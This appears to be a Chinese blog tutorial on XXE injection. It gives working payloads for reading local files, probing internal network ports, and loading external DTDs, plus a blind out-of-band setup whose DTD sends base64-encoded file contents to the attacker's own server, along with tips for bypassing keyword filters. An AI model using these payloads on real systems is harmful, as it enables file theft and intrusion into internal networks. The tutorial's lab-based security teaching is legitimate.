初识XML------XXE漏洞

目录

XML的概念

XXE玩法---读文件

玩法---内网探针或者攻击内网应用(触发漏洞地址)

引用外部实体DTD

无回显---读取文件

绕过

判断


XML的概念

XML(Extensible Markup Language,可扩展标记语言),XML被设计用来传输和存储数据,它是一种很像HTML的标记语言,其设计的宗旨是传输数据,而不是显示数据。

XML和HTML之间的差异:

XML不是HTML的替代,XML和HTML为不同的目的而设计:

  • XML被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。

总的来说HTML旨在显示信息,XML旨在传输信息。

XML文档结构包含着XML声明、XML文档类型定义*(即DTD,也就是XXE漏洞所在的地方)、XML文档元素。

XXE漏洞全称为XML External Entity Injection,即XML外部实体注入漏洞,导致可加载而已外部文件,造成的危害主要有:文件读取、命令执行、内网端口扫描、攻击内网网站等。

XXE玩法---读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITYPE xxe SYSTEM "file:///d://test.txt"> #file后面就是读取的文件的路径
]>
<x>&xxe;</x>

xxe相当于变量,<x>&xxe;</x>表示XML文档元素,可以理解为执行xxe变量(也就是读取d盘下的test.txt文件)。

这里使用pikachu靶场来进行测试:

这里我们在输入框中写入我们的攻击代码,来尝试读取D盘下面的index.txt,其中里面的内容为hello hacker!

输入代码为:

<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///d://index.txt">
]>
<x>&xxe;</x>

玩法---内网探针或者攻击内网应用(触发漏洞地址)

这种玩法不是很常见。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY >
 <!ENTITY rabbit SYSTEM "http://192.168.1.1:8080/index.txt">
]>

<x>&rabbit;</x>

通过有xxe的漏洞网站,向其服务器内网发送请求,进行判断192.168.1.1的8080端口是否开放,并且判断index.txt文件是否存在。

引用外部实体DTD

主要的作用是自定义攻击,但是前提条件是对方网站没有禁止引用外部实体。

<?xml version = "1.0"?>
<!DOCTYPE test[
    <!ENTITY %file SYSTEM "http://127.0.0.1:8080/evil2.dtd">
     #url指向的是自己的公网的IP地址
    %file;
]>
<x>&send;</x>

DTD文件会被当做xml文件执行,所以在自己的服务器上写上相应的代码即可,evil2.dtd:

<!ENTITY send SYSTEM "file:///d://index.txt">

无回显---读取文件

有时候网站代码中设置不会先,可以通过想自己服务器发送数据来查看信息,一种是查看日志信息,一种是将传递进来的数据直接写入到文件中。

<?xml version = "1.0"?>
<!DOCTYPE test [
 <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d://index.txt">
    用上面的这行代码的情况下不写文件的绝对路径也能正常搜寻,只不过是在当前路径下,而用file的话就要写全路径
 <!ENTITY %dtd SYSTEM "http://192.168.0.103:8080/test.dtd">
%dtd;
%send;  
]>

服务器中test.dtd文件代码:

<!ENTITY %payload
 "<!ENTITY %#X25; send SYSTEM 'http://192.168.0.103/?data=%file;'>"
>
&payload;

以上部分代码来源于小迪老师的课程。

绕过

对于ENTITY、SYSTEM、file等关键字被过滤,可以采用UTF-16BE编码格式绕过。

可以参考文章https:cnblogs.com/20175211lyz/p/11413335.html

如果http协议被过滤可以采用其他的协议进行绕过。例如data://协议、file://协议以及php://filter协议绕过。

判断

通过抓包,看数据包中的关键字,其中包含Content-Type的值的判断,如果后面的值是text/xml或者是application/xml的,就可以判断它接受的就是xml的语言,我们就可以尝试检验是否存在xxe漏洞,当然如果不是text/xml或者是application/xml的,还可以通过修改,将其改成text/xml或者是application/xml。再来判断是否存在漏洞。包括数据包中的数据可能是如下的这种形式,都可以进行一个判断(它是传输的xml的语句格式。可能造成xxe的漏洞)

<user><username>1</username><password>1</password></user>

xxe安全漏洞自动化注入脚本工具XXEinjection---使用ruby编写。使用前需要安装ruby相关环境。

参考链接:7.XXEinjector:一款功能强大的自动化XXE注射工具 - bmjoker - 博客园

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
泛微OA是一种常见的企业办公自动化系统,而XXEXML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值